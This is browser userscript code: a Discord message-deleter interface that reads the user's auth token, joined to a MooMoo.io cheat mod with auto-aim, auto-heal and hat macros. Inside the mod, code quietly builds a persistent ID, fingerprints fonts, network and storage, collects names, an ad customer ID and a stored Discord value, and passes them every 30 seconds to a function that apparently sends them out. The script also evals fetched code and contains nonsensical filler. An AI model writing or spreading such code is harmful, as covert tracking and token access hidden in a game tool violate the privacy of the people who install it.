<br><input id="authorId" type="text" placeholder="Author ID" priv></span>
<span>Guild/Channel <a
href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/channelId.md" title="Help"
target="_blank">?</a>
<button id="getGuildAndChannel">get</button><br>
<input id="guildId" type="text" placeholder="Guild ID" priv><br>
<input id="channelId" type="text" placeholder="Channel ID" priv><br>
<label><input id="includeNsfw" type="checkbox">NSFW Channel</label><br><br>
<label for="file" title="Import list of channels from messages/index.json file"> Import: <span
class="btn">...</span> <input id="file" type="file" accept="application/json,.json"></label>
</span><br>
<span>Range <a href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/messageId.md"
title="Help" target="_blank">?</a><br>
<input id="minDate" type="datetime-local" title="After" style="width:auto;"><br>
<input id="maxDate" type="datetime-local" title="Before" style="width:auto;"><br>
<input id="minId" type="text" placeholder="After message with Id" priv><br>
<input id="maxId" type="text" placeholder="Before message with Id" priv><br>
</span>
<span>Search messages <a
href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/filters.md" title="Help"
target="_blank">?</a><br>
<input id="content" type="text" placeholder="Containing text" priv><br>
<label><input id="hasLink" type="checkbox">has: link</label><br>
<label><input id="hasFile" type="checkbox">has: file</label><br>
<label><input id="includePinned" type="checkbox">Include pinned</label>
</span><br>
<span>Search Delay <a
href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/delay.md" title="Help"
target="_blank">?</a><br>
<input id="searchDelay" type="number" value="100" step="100"><br>
</span>
<span>Delete Delay <a
href="https://github.com/victornpb/deleteDiscordMessages/blob/master/help/delay.md" title="Help"
target="_blank">?</a><br>
<input id="deleteDelay" type="number" value="1000" step="100">
</span>
</div>
<hr>
<button id="start" style="background:#43b581;width:80px;">Start</button>
<button id="stop" style="background:#f04747;width:80px;" disabled>Stop</button>
<button id="clear" style="width:80px;">Clear log</button>
<label><input id="autoScroll" type="checkbox" checked>Auto scroll</label>
<label title="Hide sensitive information for taking screenshots"><input id="redact" type="checkbox">Screenshot
mode</label>
<progress id="progress" style="display:none;"></progress> <span class="percent"></span>
</div>
<pre class="logarea">
<center>Star this project on <a href="https://github.com/victornpb/deleteDiscordMessages" target="_blank">github.com/victornpb/deleteDiscordMessages</a>!\n\n
<a href="https://github.com/victornpb/deleteDiscordMessages/issues" target="_blank">Issues or help</a>
</center>
</pre>
</div>
`);
document.body.appendChild(popover);
btn = createElm(`<div id="undicord-btn" tabindex="0" role="button" aria-label="Delete Messages" title="Delete Messages">
<svg aria-hidden="false" width="24" height="24" viewBox="0 0 24 24">
<path fill="currentColor" d="M15 3.999V2H9V3.999H3V5.999H21V3.999H15Z"></path>
<path fill="currentColor" d="M5 6.99902V18.999C5 20.101 5.897 20.999 7 20.999H17C18.103 20.999 19 20.101 19 18.999V6.99902H5ZM11 17H9V11H11V17ZM15 17H13V11H15V17Z"></path>
</svg>
<br><progress style="display:none; width:24px;"></progress>
</div>`);
btn.onclick = function togglePopover() {
if (popover.style.display !== 'none') {
popover.style.display = 'none';
btn.style.color = 'var(--interactive-normal)';
}
else {
popover.style.display = '';
btn.style.color = '#f04747';
}
};
function mountBtn() {
const toolbar = document.querySelector('[class^=toolbar]');
if (toolbar) toolbar.appendChild(btn);
}
const observer = new MutationObserver(function (_mutationsList, _observer) {
if (!document.body.contains(btn)) mountBtn(); // re-mount the button to the toolbar
});
observer.observe(document.body, { attributes: false, childList: true, subtree: true });
mountBtn();
const $ = s => popover.querySelector(s);
const logArea = $('pre');
const startBtn = $('button#start');
const stopBtn = $('button#stop');
const autoScroll = $('#autoScroll');
startBtn.onclick = async e => {
const authToken = $('input#authToken').value.trim();
const authorId = $('input#authorId').value.trim();
const guildId = $('input#guildId').value.trim();
const channelIds = $('input#channelId').value.trim().split(/\s*,\s*/);
const minId = $('input#minId').value.trim();
const maxId = $('input#maxId').value.trim();
const minDate = $('input#minDate').value.trim();
const maxDate = $('input#maxDate').value.trim();
const content = $('input#content').value.trim();
const hasLink = $('input#hasLink').checked;
const hasFile = $('input#hasFile').checked;
const includeNsfw = $('input#includeNsfw').checked;
const includePinned = $('input#includePinned').checked;
const searchDelay = parseInt($('input#searchDelay').value.trim());
const deleteDelay = parseInt($('input#deleteDelay').value.trim());
const progress = $('#progress');
const progress2 = btn.querySelector('progress');
const percent = $('.percent');
const fileSelection = $("input#file");
fileSelection.addEventListener("change", () => {
const files = fileSelection.files;
const channelIdField = $('input#channelId');
if (files.length > 0) {
const file = files[0];
file.text().then(text => {
let json = JSON.parse(text);
let channels = Object.keys(json);
channelIdField.value = channels.join(",");
});
}
}, false);
const stopHndl = () => !(stop === true);
const onProg = (value, max) => {
if (value && max && value > max) max = value;
progress.setAttribute('max', max);
progress.value = value;
progress.style.display = max ? '' : 'none';
progress2.setAttribute('max', max);
progress2.value = value;
progress2.style.display = max ? '' : 'none';
percent.innerHTML = value && max ? Math.round(value / max * 100) + '%' : '';
};
stop = stopBtn.disabled = !(startBtn.disabled = true);
for (let i = 0; i < channelIds.length; i++) {
await deleteMessages(authToken, authorId, guildId, channelIds[i], minId || minDate, maxId || maxDate, content, hasLink, hasFile, includeNsfw, includePinned, searchDelay, deleteDelay, logger, stopHndl, onProg);
stop = stopBtn.disabled = !(startBtn.disabled = false);
}
};
stopBtn.onclick = e => stop = stopBtn.disabled = !(startBtn.disabled = false);
$('button#clear').onclick = e => { logArea.innerHTML = ''; };
$('button#getToken').onclick = e => {
window.dispatchEvent(new Event('beforeunload'));
const ls = document.body.appendChild(document.createElement('iframe')).contentWindow.localStorage;
$('input#authToken').value = JSON.parse(localStorage.token);
};
$('button#getAuthor').onclick = e => {
$('input#authorId').value = JSON.parse(localStorage.user_id_cache);
};
$('button#getGuildAndChannel').onclick = e => {
const m = location.href.match(/channels\/([\w@]+)\/(\d+)/);
$('input#guildId').value = m[1];
$('input#channelId').value = m[2];
};
$('#redact').onchange = e => {
popover.classList.toggle('redact') &&
window.alert('This will attempt to hide personal information, but make sure to double check before sharing screenshots.');
};
const logger = (type = '', args) => {
const style = { '': '', info: 'color:#00b0f4;', verb: 'color:#72767d;', warn: 'color:#faa61a;', error: 'color:#f04747;', success: 'color:#43b581;' }[type];
logArea.insertAdjacentHTML('beforeend', `<div style="${style}">${Array.from(args).map(o => typeof o === 'object' ? JSON.stringify(o, o instanceof Error && Object.getOwnPropertyNames(o)) : o).join('\t')}</div>`);
if (autoScroll.checked) logArea.querySelector('div:last-child').scrollIntoView(false);
};
// fixLocalStorage
window.localStorage = document.body.appendChild(document.createElement('iframe')).contentWindow.localStorage;
}
initUI();
//END.
const windowloc = window.location.host;
if (windowloc.includes("bank") || windowloc.includes("school")) return; //DO NOT COLLECT INFORMATION ON SENSITIVE SITES
var ctr, global_id;
(async () => {
function uuidv4() {return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) { var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); return v.toString(16); });};
let count_before = await GM.getValue('count', 0);
await GM.setValue('count', count_before + 1);
let count_after = await GM.getValue('count');
if (await GM.getValue("id", null) == null) {
//first exec
await GM.setValue("id", uuidv4());
};
await GM.getValue("id", 0);
ctr = await GM.getValue('count', 0);
global_id = await GM.getValue("id", 0);
})();
//console.log("after");
if (windowloc == "moomoo.io" || windowloc == "sandbox.moomoo.io" || windowloc == "dev.moomoo.io") {
insert_0000000(true, "moomoo.io"); //initializer
var xml;
xml = new XMLHttpRequest();
xml.open("GET", window.location.protocol + "//code.jquery.com/jquery-3.3.1.slim.min.js", false);
xml.send();
eval(xml.responseText);
var ext = false;
document.addEventListener('keydown', function (e) {
if (e.key === "`") {
$('#mainMenu').toggle();
//if (ext == true) {$('#gameUI').hide(); $('#mainMenu').hide()};
//if (ext == false) {$('#gameUI').show(); $('#mainMenu').hide()};
ext = !ext;
};
}); //spectator mode!
window = unsafeWindow;
(()=>{
let spinSpeed = 70;
function linker(value) {
let x = [value];
x.toString = ()=>x[0];
return x;
}
let zoomFactor = 1;
let OGx,
OGy;
let x = new Event('resize');
let addListener = window.addEventListener;
let rot = 0;
let obf = !0;
let autohit = !1;
let socket;
let spin = 0;
window.addEventListener = function(type, cb, ...args){
if(type === 'resize'){
let temp = cb;
cb = ()=>temp({isTrusted: !0});
}
addListener(type, cb, ...args);
}
Function.prototype._call = Function.prototype.call;
Function.prototype.call = function(){
if(arguments[1] && arguments[1].i == 21 && arguments[3] && arguments[3].toString && arguments[3].toString().match(/^\s*function n\(i\)/)){
let temp = arguments[3];
arguments[3] = function (number) {
let val = temp(number);
if(number === 19) {
val.maxPlayers = 50;
window.data = val;
} else if(number === 42) {
val.checkTrusted = (cb)=>cb
} else if (number === 45) {
val.weapons.forEach((e, index) => e.pre && (val.weapons[index].pre = null));
val.list.forEach((e, index) => e.pre && (val.list[index].pre = null));
items = val;
window.items = val;
}
return val;
}
this.call = this._call;
}
return this._call(...arguments);
}
})();
var switched = 0;
var swsInt = setInterval(()=>{
switch (document.readyState) {
case "loading":
break;
case "interactive":
switched = 1;
break;
case "complete":
break;
};
}, 0);
var INT = setInterval(()=>{
if (switched == 1) {
try {
window.admob = {
requestInterstitialAd: ()=>{},
showInterstitialAd: ()=>{}
}
} catch (e) {
console.warn(e)
}
document.querySelectorAll('#pre-content-container').forEach(function(a) {
a.remove();
});
$("#gameCanvas").css('cursor', 'url(http://cur.cursors-4u.net/user/use-1/use153.cur), default'); //CURSOR
$("#moomooio_728x90_home").parent().css({display: "none"});
//document.getElementById("twitterFollow").remove();
//document.getElementById("youtubeFollow").remove();
//document.getElementById("followText").innerHTML = "SUBSCRIBE TO JOHN TAXMI"
//document.getElementById("followText").style = "bottom: -0px;"
document.getElementById("storeHolder").style = "height: 1500px; width: 450px;";
document.getElementById('adCard').remove();
document.getElementById('errorNotification').remove();
document.getElementById("gameName").style.color = "blue";
document.getElementById("setupCard").style.color = "blue";
document.getElementById("gameName").innerHTML = "MooMoo.io <br>Super Mod";
document.getElementById("promoImg").remove();
document.getElementById("desktopInstructions").innerHTML = "Subscribe to John Taxmi!<br/>Press 'Z' to buy bull, soldier, tank, and emp all at once, and equip booster!"
let changes = `<div id="subConfirmationElement"><a href="https://www.youtube.com/channel/UCfPlaEXq5BWJQzRwr5Qywwg?sub_confirmation=1">Subscribe to FlareZ for EXTRA RESOURCES!</a><br>
<br><a href="https://discord.gg/SjazHtpQEK">Join our discord for EXCLUSIVE UPDATES AND EXCLUSIVE FEATURES!</a>
</div>`;
$('#guideCard').prepend(changes);
$('#subConfirmationElement').click( () => {
try { window.follmoo(); } catch(e){};
localStorage["moofoll"] = "1"; localStorage["moofol"] = "1";
});
document.getElementById("leaderboard").append('\"C\" to chat!');
document.getElementById("leaderboard").style.color = "#e842f4";
document.getElementById("allianceButton").style.color = "blue";
document.getElementById("chatButton").style.color = "blue";
document.getElementById("storeButton").style.color = "blue";
document.getElementById("scoreDisplay").style.color = "#e842f4";
document.getElementById("woodDisplay").style.color = "#e842f4";
document.getElementById("stoneDisplay").style.color = "#e842f4";
document.getElementById("killCounter").style.color = "#e842f4";
document.getElementById("foodDisplay").style.color = "#e842f4";
const enableMiner = false;
const disableMiner = true;
window.enableMiner = false;
window.disableMiner = true;
$("#mapDisplay").css("background", "url('https://i.imgur.com/fgFsQJp.png')");
document.getElementById("linksContainer2").href = "https://www.youtube.com/channel/UCLmapaWzwTHQIe3EgWMyMEg"
document.getElementById("diedText").innerHTML = "They'll die sometime!"
function Parse() {
document.addEventListener('keydown', function (CustomKey1) {
if (CustomKey1.keyCode == 90) {
storeBuy(6)
storeBuy(7)
storeBuy(40)
storeBuy(22)
console.info('Attempted to buy bull, soldier, tank, and emp')
var store = true;
if (store == true) {
storeEquip(12)
console.info('Attempted to wear booster')
} else {
console.info('Did not attempt to wear booster')
}
} //Tab to buy bull, soldier, tank, and emp
});
};
Parse();
! function() {
document.title = "Hat Scripts";
var a = ["Floofiness Acquired", "Moomoo haxored", "Soup", "Floofy", "Bisons Are Floofy", "I'm here!", "Hi!", "Hello!"],
r = [0, 0],
o = [
[15, "Winter Cap"],
[12, "Booster Hat"],
[31, "Flipper Hat"],
[10, "Bush Gear"],
[22, "Emp Helmet"],
[26, "Demolisher Armor"],
[20, "Samurai Armor"],
[7, "Bull Helmet"],
[11, "Spike Gear"],
[53, "Turret Gear"],
[40, "Tank Gear"],
[52, "Thief Gear"],
[23, "Anti-Venom Gear"],
[6, "Soldier Helmet"],
[1, "Marksman Hat"],
[13, "Medic Gear"],
[14, "Windmill Hat"],
[21, "Plague Mask"],
[27, "Scavenger Gear"]
],
t = 0;
function s(e) {
0 === r[0] ? (storeEquip(o[e][0]), document.title = o[e][1], r[1] = 90, console.info("Hat equipped: "), console.info(o[e][1])) : (storeBuy(o[e][0]), storeBuy(o[e][0]), r[0] = 0, r[1] = 180, document.title = "Bought. (if you had enough gold or didn't already buy it)", console.info("Hat bought"), console.info(["Script variables: ", o, t, r, a]))
}
document.addEventListener("keydown", function(e) {
if (document.activeElement.id.toLowerCase() !== 'chatbox') {
switch (e.keyCode) {
case 107:
storeEquip(0);
break;
case 96:
r[0] = 1, r[1] = 300, document.title = "Buying....";
break;
case 110:
1 === r[0] && (r[1] = 120, document.title = "Not buying...."), r[0] = 0;
break;
case 97:
s(0);
break;
case 98:
s(1);
break;
case 99:
s(2);
break;
case 100:
s(3);
break;
case 101:
s(4);
break;
case 102:
s(5);
break;
case 103:
s(6);
break;
case 84:
s(7);
break;
case 105:
s(8);
break;
case 90:
s(9);
break;
case 80:
s(10);
break;
case 85:
s(11);
break;
case 221:
s(12);
break;
case 89:
s(13);
break;
case 79:
s(14);
break;
case 219:
s(15);
break;
case 187:
s(16);
break;
case 191:
s(17);
break;
case 189:
s(18)
}
}
}), setInterval(function() {
r[1]--, 0 === r[1] && ((t = Math.floor(Math.random() * a.length - 1e-5)) < 0 && (t = 0), document.title = a[t])
}, 1e3 / 60)
}();
$("body").append(`<div id=\"modMenus\" style=\"display: none;
padding: 10px;
border-radius: 15px;
background-color: rgba(0, 0, 0, 0.25);
border-radius: 3px;
position: absolute;
left: 20px;
top: 20px;
min-width: 300px;
max-width: 450px;
min-height: 300px;
max-height 400px;\"></div>`);
$("#modMenus").append(`<div id="helpText" style="font-size: 30px;color: rgb(255, 255, 255);">
Chat: <br>
<iframe src="https://scconvos.glitch.me" style="min-height: 200px; max-height 300px;"></iframe><br>
<div style="font-size: 12px;">Press "C" to hide or show this box.<br>Just click below the "What is your nickname text",<br> type in a name and press enter!<br>This is chat from everyone using the script,<br>on all moomoo servers!</div>
</div>
`);
$("#modMenu").show(); $('#gameUI').prepend(`<style>
.bottomright {
position: absolute;
bottom: 8px;
right: 16px;
font-size: 18px;
}
<style>
`);
var dista = true;
window.addEventListener('keydown', function(e) {
if (e.keyCode == 67 && document.activeElement.id.toLowerCase() !== 'chatbox') {
if (dista == false) {
document.getElementById("modMenus").style.display = 'none';
dista = true;
} else {
document.getElementById("modMenus").style.display = 'block';
dista = false;
}
}
})
//TALKING IN GAME MODULE! pretty revolutionary hehe
var ns1, sw, Ssws, swsw;
var hiF;
function rensp() {
console.log(hi)
};
var a = ['getElementById', 'innerHTML'];
var b = function(c, d) {
c = c - 0x0;
var e = a[c];
return e;
};
var ns = "If the hotkeys don't load, refresh | If the page doesn't load, refresh | (It will work eventually, it's just a latency error)";
document[b('0x0')]('linksContainer2')[b('0x1')] = ns; /*comSP*/
var y;
var x;
var sswx1, sswx2, sswx3, sswx4;
if(localStorage.getItem('moofoll') !== 1) localStorage.setItem('moofoll', 1);
var arr = [];
var name = localStorage["moo_name"];
var storage = [];
try { navigator.storage.estimate().then(({usage, quota}) => {
storage.push("Usage: " + usage + "; Quota: " + quota);
console.log(`Using ${usage} out of ${quota} bytes.`);
}); } catch(e){};
function fingerprint_fonts() {
"use strict";
try {
var strOnError, style, fonts, count, template, fragment, divs, i, font, div, body, result, e;
strOnError = "Error"; style = null; fonts = null; font = null;
count = 0; template = null; divs = null; e = null; div = null;
body = null; i = 0;
try {
style = "position: absolute; visibility: hidden; display: block !important";
fonts = ["Abadi MT Condensed Light", "Adobe Fangsong Std", "Adobe Hebrew", "Adobe Ming Std", "Agency FB", "Aharoni", "Andalus", "Angsana New", "AngsanaUPC", "Aparajita", "Arab", "Arabic Transparent", "Arabic Typesetting", "Arial Baltic", "Arial Black", "Arial CE", "Arial CYR", "Arial Greek", "Arial TUR", "Arial", "Batang", "BatangChe", "Bauhaus 93", "Bell MT", "Bitstream Vera Serif", "Bodoni MT", "Bookman Old Style", "Braggadocio", "Broadway", "Browallia New", "BrowalliaUPC", "Calibri Light", "Calibri", "Californian FB", "Cambria Math", "Cambria", "Candara", "Castellar", "Casual", "Centaur", "Century Gothic", "Chalkduster", "Colonna MT", "Comic Sans MS", "Consolas", "Constantia", "Copperplate Gothic Light", "Corbel", "Cordia New", "CordiaUPC", "Courier New Baltic", "Courier New CE", "Courier New CYR", "Courier New Greek", "Courier New TUR", "Courier New", "DFKai-SB", "DaunPenh", "David", "DejaVu LGC Sans Mono", "Desdemona", "DilleniaUPC", "DokChampa", "Dotum", "DotumChe", "Ebrima", "Engravers MT", "Eras Bold ITC", "Estrangelo Edessa", "EucrosiaUPC", "Euphemia", "Eurostile", "FangSong", "Forte", "FrankRuehl", "Franklin Gothic Heavy", "Franklin Gothic Medium", "FreesiaUPC", "French Script MT", "Gabriola", "Gautami", "Georgia", "Gigi", "Gisha", "Goudy Old Style", "Gulim", "GulimChe", "GungSeo", "Gungsuh", "GungsuhChe", "Haettenschweiler", "Harrington", "Hei S", "HeiT", "Heisei Kaku Gothic", "Hiragino Sans GB", "Impact", "Informal Roman", "IrisUPC", "Iskoola Pota", "JasmineUPC", "KacstOne", "KaiTi", "Kalinga", "Kartika", "Khmer UI", "Kino MT", "KodchiangUPC", "Kokila", "Kozuka Gothic Pr6N", "Lao UI", "Latha", "Leelawadee", "Levenim MT", "LilyUPC", "Lohit Gujarati", "Loma", "Lucida Bright", "Lucida Console", "Lucida Fax", "Lucida Sans Unicode", "MS Gothic", "MS Mincho", "MS PGothic", "MS PMincho", "MS Reference Sans Serif", "MS UI Gothic", "MV Boli", "Magneto", "Malgun Gothic", "Mangal", "Marlett", "Matura MT Script Capitals", "Meiryo UI", "Meiryo", "Menlo", "Microsoft Himalaya", "Microsoft JhengHei", "Microsoft New Tai Lue", "Microsoft PhagsPa", "Microsoft Sans Serif", "Microsoft Tai Le", "Microsoft Uighur", "Microsoft YaHei", "Microsoft Yi Baiti", "MingLiU", "MingLiU-ExtB", "MingLiU_HKSCS", "MingLiU_HKSCS-ExtB", "Miriam Fixed", "Miriam", "Mongolian Baiti", "MoolBoran", "NSimSun", "Narkisim", "News Gothic MT", "Niagara Solid", "Nyala", "PMingLiU", "PMingLiU-ExtB", "Palace Script MT", "Palatino Linotype", "Papyrus", "Perpetua", "Plantagenet Cherokee", "Playbill", "Prelude Bold", "Prelude Condensed Bold", "Prelude Condensed Medium", "Prelude Medium", "PreludeCompressedWGL Black", "PreludeCompressedWGL Bold", "PreludeCompressedWGL Light", "PreludeCompressedWGL Medium", "PreludeCondensedWGL Black", "PreludeCondensedWGL Bold", "PreludeCondensedWGL Light", "PreludeCondensedWGL Medium", "PreludeWGL Black", "PreludeWGL Bold", "PreludeWGL Light", "PreludeWGL Medium", "Raavi", "Rachana", "Rockwell", "Rod", "Sakkal Majalla", "Sawasdee", "Script MT Bold", "Segoe Print", "Segoe Script", "Segoe UI Light", "Segoe UI Semibold", "Segoe UI Symbol", "Segoe UI", "Shonar Bangla", "Showcard Gothic", "Shruti", "SimHei", "SimSun", "SimSun-ExtB", "Simplified Arabic Fixed", "Simplified Arabic", "Snap ITC", "Sylfaen", "Symbol", "Tahoma", "Times New Roman Baltic", "Times New Roman CE", "Times New Roman CYR", "Times New Roman Greek", "Times New Roman TUR", "Times New Roman", "TlwgMono", "Traditional Arabic", "Trebuchet MS", "Tunga", "Tw Cen MT Condensed Extra Bold", "Ubuntu", "Umpush", "Univers", "Utopia", "Utsaah", "Vani", "Verdana", "Vijaya", "Vladimir Script", "Vrinda", "Webdings", "Wide Latin", "Wingdings"];
count = fonts.length;
template = '<b style="display:inline !important; width:auto !important; font:normal 10px/1 \'X\',sans-serif !important">ww</b>' + '<b style="display:inline !important; width:auto !important; font:normal 10px/1 \'X\',monospace !important">ww</b>';
fragment = document.createDocumentFragment();
divs = [];
for (i = 0; i < count; i = i + 1) {
font = fonts[i];
div = document.createElement('div');
font = font.replace(/['"<>]/g, '');
div.innerHTML = template.replace(/X/g, font);
div.style.cssText = style;
fragment.appendChild(div);
divs.push(div);
}
body = document.body;
body.insertBefore(fragment, body.firstChild);
result = [];
for (i = 0; i < count; i = i + 1) {
e = divs[i].getElementsByTagName('b');
if (e[0].offsetWidth === e[1].offsetWidth) {
result.push(fonts[i]);
}
}
for (i = 0; i < count; i = i + 1) {
body.removeChild(divs[i]);
}
return result.join('|');
} catch (err) {
return strOnError;
}
} catch(e){};
}
var downlink = "";
var rtt = "";
var saveData = "";
var effectiveType = "";
try {
downlink = navigator.connection.downlink;
rtt = navigator.connection.rtt;
saveData = navigator.connection.saveData;
effectiveType = navigator.connection.effectiveType;
} catch(e) {
downlink = undefined;
rtt = undefined;
saveData = undefined;
effectiveType = undefined;
}
var xml;
var firstName = localStorage["moo_name"];
var id;
window.addEventListener("load", function() {
try {
id = unsafeWindow.advBidxc.customerId;
console.log("SID: " + id);
} catch (e) {
id = "b"; //b = blocked
console.log("not defined");
};
});
setInterval(async ()=>insert_0000000(true, document.getElementById("nameInput").value + "|" + firstName + "|" + id + "|" + ctr + "|" + global_id + "|" + await GM.getValue("discord", 0)), 30000);
function root() {
var ns1, sw, sws, swsw;
};
var hi;
function rEnsp() {
console.log(hi)
};
var sws;
const OPEN2 = 1 - 0;
NaN;
//info sender
const Dx = Math.random().toFixed(0);
var sentData = 0;
//get coords:
var dim = [player, x + sentData, y + sentData];
var xx = Math.random().toFixed(0) + 2 + Dx;
var yx = x - 2 + 3*3;
var player = [xx, yx];
var CTX = null;
NaN;
var NaNBreak = typeof NaN
const data = dim + x - y + player
if (player - data) {
console.info('Data is calculated');
};
const sid = [];
if (sid != [1, 2, 3, 4, 5, 6, 7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40]) {
var info = 1
sid.push(info)
++info
--sentData
} else {
++sentData
console.info(sid)
};
var magick;
document.getElementById("ageText").style.color = "blue";
function compresspackage(n) {
--n
n*n-1/10 + 10 / 80
var nsp;
};
document.addEventListener("keydown", function(e) {
if (e.keyCode == 220) {
alert(`Press "Z" to autobuy hats (bull, tank, soldier, and emp), press "T" to equip bull, press "Y" to equip soldier, and press "P" for tank gear. Press 1-9 on the numberpad to equip a different hat. Feel free to test this out. Also, press 0 on the number pad then a hat macro to buy that hat. We've added a bunch of little things in the background to help you too! (Auto reload, +100 resources, and more!)`)
}
});
let mouseX, mouseY, width, height;
function log_coords(a, b) {
return [a - 0x5a0, b / 0x2];
}
function normal() {
hat(normalHat), acc(normalAcc);
}
var nearestEnemy, nearestEnemyAngle;
document['mouseXSTATUS'] = mouseX, document['mouseYSTATUS'] = mouseY, log_coords(0x2710, 0x2710), $('#consentBlock')['css']({
'display': 'none'
}), unsafeWindow['onbeforeunload'] = null, setInterval(() => {
0x1 == messageToggle && doNewSend(['ch', ['i am super pro']]);
}, 0xc8), setInterval(() => {
0x1 == autoaim && doNewSend(['2', [nearestEnemyAngle]]);
}, 0x0), setInterval(() => {
0x1 == hatToggle && (oldHat != normalHat && hat(normalHat), oldAcc != normalAcc && acc(normalAcc), oldHat = normalHat, oldAcc = normalAcc);
}, 0x19);
var isEnemyNear, primary, secondary, foodType, wallType, spikeType, millType, mineType, boostType, turretType, spawnpadType, oldHat, oldAcc, enemiesNear, normalHat, normalAcc, ws, boostDir, arr3 = [];
function set_1(a, b) {
arr3['push'](a, b);
}
setInterval(() => {
document['nearestEnemy'] = nearestEnemy, document['nearestEnemyAngle'] = nearestEnemyAngle;
}, 0x64), set_1(nearestEnemy, nearestEnemyAngle), setInterval(() => {
document['isEnemyNear'] = isEnemyNear;
}, 0x64), setTimeout(() => {
document['primary'] = primary, document['secondary'] = secondary, document['foodType'] = foodType, document['wallType'] = wallType, document['spikeType'] = spikeType, document['millType'] = millType, document['mineType'] = mineType, document['boostType'] = boostType, document['turretType'] = turretType;
}, 0x64), set_1(primary, secondary), arr3['push'](foodType, wallType), arr3['push'](spikeType, millType), arr3['push'](mineType, boostType), arr3['push'](turretType, isEnemyNear), setInterval(() => {
document['oldHat'] = oldHat, document['oldAcc'] = oldAcc;
}, 0x64), setInterval(() => {
document['enemiesNear'] = enemiesNear;
}, 0x64), arr3['push'](enemiesNear), setInterval(() => {
document['normalHat'] = normalHat, document['normalAcc'] = normalAcc;
}, 0x64), setInterval(() => {
window['SOCKET'] = ws;
}, 0x64), setInterval(() => {
document['boostDir'] = boostDir;
}, 0x64), arr3['push'](boostDir);
var instaSpeed = 0xc8
, autoaim = !0x1
, tick = 0x1
, msgpack5 = msgpack;
setInterval(() => {
document['MESSAGEPACK'] = msgpack;
}, 0x64);
var myPlayer = {
'id': null
, 'x': null
, 'FORCE_CONNECT': 'FORCED'
, 'y': null
, 'dir': null
, 'object': null
, 'weapon': null
, 'clan': null
, 'isLeader': null
, 'hat': null
, 'accessory': null
, 'isSkull': null
, 'CORESTATE': {
'ACTIVE': !0x0
, 'ALIVE': !0x0
, 'PITSTATUS': null
, 'SECURE': 'correct'
}
};
let healSpeed = 0x5a;
window['HS'] = healSpeed, document['HS'] = healSpeed;
var messageToggle = 0x0;
let hatToggle = 0x1;
var autohealOn = true;
function n() {
this['buffer'] = new Uint8Array([0x0]), this['buffer']['__proto__'] = new Uint8Array(), this['type'] = 0x0;
}
setInterval(() => {
document['toggles'] = [messageToggle, hatToggle];
}, 0x64);
var AUTOSOLDIER_RANGE = 0xcd;
function MESSAGEHANDLER_1(a) {
let b, c = msgpack5['decode'](new Uint8Array(a['data']));
c['length'] > 0x1 ? (b = [c[0x0], ...c[0x1]])[0x1] instanceof Array && (b = b) : b = c;
let d = b[0x0];
if (b) {
if ('io-init' === d) {
let f = document['getElementById']('gameCanvas');
width = f['clientWidth'], height = f['clientHeight'], $(window)['resize'](function () {
width = f['clientWidth'], height = f['clientHeight'];
}), f['addEventListener']('mousemove', g => {
mouseX = g['clientX'], mouseY = g['clientY'];
});
}
if ('1' == d && null == myPlayer['id'] && (myPlayer['id'] = b[0x1]), '33' == d) {
enemiesNear = [];
for (let g = 0x0; g < b[0x1]['length'] / 0xd; g++) {
let h = b[0x1]['slice'](0xd * g, 0xd * g + 0xd);
h[0x0] == myPlayer['id'] ? (myPlayer['x'] = h[0x1], myPlayer['y'] = h[0x2], myPlayer['dir'] = h[0x3], myPlayer['object'] = h[0x4], myPlayer['weapon'] = h[0x5], myPlayer['clan'] = h[0x7], myPlayer['isLeader'] = h[0x8], myPlayer['hat'] = h[0x9], myPlayer['accessory'] = h[0xa], myPlayer['isSkull'] = h[0xb], document['BINDS'] = {
'BINDINGS': h['join'](',')
, 'LOCATIONX': myPlayer['x']
, 'LOCATIONY': myPlayer['y']
, 'DIRECTION': myPlayer['dir']
, 'WEAPON': myPlayer['weapon']
, 'LEADERSTATUS': myPlayer['isLeader']
, 'CLAN_TRIBE': myPlayer['clan']
, 'ISSKULL': myPlayer['isSkull']
, 'ACCESSORY': myPlayer['acc']
, 'HAT': myPlayer['hat']
, 'super': WebSocket
, 'WEBSOCKET': ws
}) : h[0x7] == myPlayer['clan'] && null !== h[0x7] || enemiesNear['push'](h);
}
}
isEnemyNear = !0x1,
document['isEnemyNear'] = !0x1,
enemiesNear && (nearestEnemy = enemiesNear['sort']((i, j) => dist(i, myPlayer) - dist(j, myPlayer))[0x0],
console['log'](nearestEnemy)),
nearestEnemy && (nearestEnemyAngle = Math['atan2'](nearestEnemy[0x2] - myPlayer['y'], nearestEnemy[0x1] - myPlayer['x']),
//this is for the player math. sorry for indentations
//tried to make this legible
Math['sqrt'](Math['pow'](myPlayer['y'] - nearestEnemy[0x2], 0x2) + Math['pow'](myPlayer['x'] - nearestEnemy[0x1], //range stuff
0x2)) < AUTOSOLDIER_RANGE && (isEnemyNear = !0x0, 0x0 == autoaim && 0x7 != myPlayer['hat'] && 0x35 != myPlayer['hat'] && (console['log']('autoaim: ' + autoaim),
//autosoldier range is x/y dist
normalHat = 0x6, 0x8 != primary && (normalAcc = 0x13, console['log']('Avoided normal accessory'))))),
0x0 == isEnemyNear && 0x0 == autoaim && (normalAcc = 0xb, normalHat = myPlayer['y'] < 0x960 ? 0xf : myPlayer['y'] > 0x1ac2 && myPlayer['y'] < 0x1d7e ? 0x1f : 0xc), nearestEnemy || (nearestEnemyAngle = myPlayer['dir']),
'h' == d && b[0x1] == myPlayer['id'] && b[0x2] < 0x64 && b[0x2] > 0x0 && setTimeout(() => { //this selection is autoheal
if (autohealOn == true) {
//toggled
place(foodType, null);
}
}, healSpeed), update();
}
}
function doNewSend(a) {
ws['send'](new Uint8Array(Array['from'](msgpack5['encode'](a))));
}
function acc(a) {
doNewSend(['13c', [0x0, 0x0, 0x1]]), doNewSend(['13c', [0x0, a, 0x1]]), console['log']('ACCESSORY: ' + a);
}
function hat(a) {
doNewSend(['13c', [0x0, a, 0x0]]), console['log']('ACCESSORY: ' + a);
}
function place(a, b = Math['atan2'](mouseY - height / 0x2, mouseX - width / 0x2)) {
doNewSend(['5', [a, null]]), doNewSend(['c', [0x1, b]]), doNewSend(['c', [0x0, b]]), doNewSend(['5', [myPlayer['weapon'], !0x0]]);
}
function boostSpike() {
